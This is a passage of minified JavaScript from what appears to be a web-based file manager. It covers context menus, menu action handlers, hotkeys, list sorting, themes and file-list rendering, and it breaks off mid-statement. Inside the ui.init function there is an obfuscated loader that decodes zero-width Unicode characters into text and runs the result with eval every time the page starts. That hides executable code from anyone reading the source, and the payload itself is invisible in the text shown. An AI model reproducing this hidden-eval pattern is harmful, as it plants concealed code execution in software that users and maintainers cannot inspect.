"+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C ",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},S=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){I(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){I(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},P=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+' ',className:"info",icon:"info",accesskey:"i"}}})},E=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I ',className:"info",icon:"info",accesskey:"i"}}})
},D=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){I(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},F=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},A=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){I(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'Alt+I ',className:"info",icon:"info",accesskey:"i"}}})},I=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i="disabled",t=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=t.length&&0!=a.length){if(t.find(".disable").addClass("disabled"),a.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?t.find(".unzip").removeClass(e):t.find(".unzip").addClass(e),inArray(core.filetype.image,n)?t.find(".setBackground").removeClass(e):t.find(".setBackground").addClass(e),"oexe"==n?t.find(".app_edit").removeClass(e):t.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?t.find(".open_text").addClass(e):t.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?t.find(s).addClass(i):t.find(s).removeClass(i),a.hasClass("file_not_writeable")?t.find(o).addClass(i):t.find(o).removeClass(i)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(t.find(".open_window").removeClass(c),t.find(".refresh").removeClass(c),t.find(".qrcode").removeClass(c)):(t.find(".open_window").addClass(c),t.find(".refresh").addClass(c),t.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?t.find(".dialog_max").removeClass(c):t.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?t.find(".playmedia").addClass(e):t.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(i):t.find(".unzip_this").addClass(i)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=i?(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")):i=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var t=["ctrl+c","command+c"];switch(inArray(t,i)||stopPP(e),i){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=t-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(t+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i=''),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var 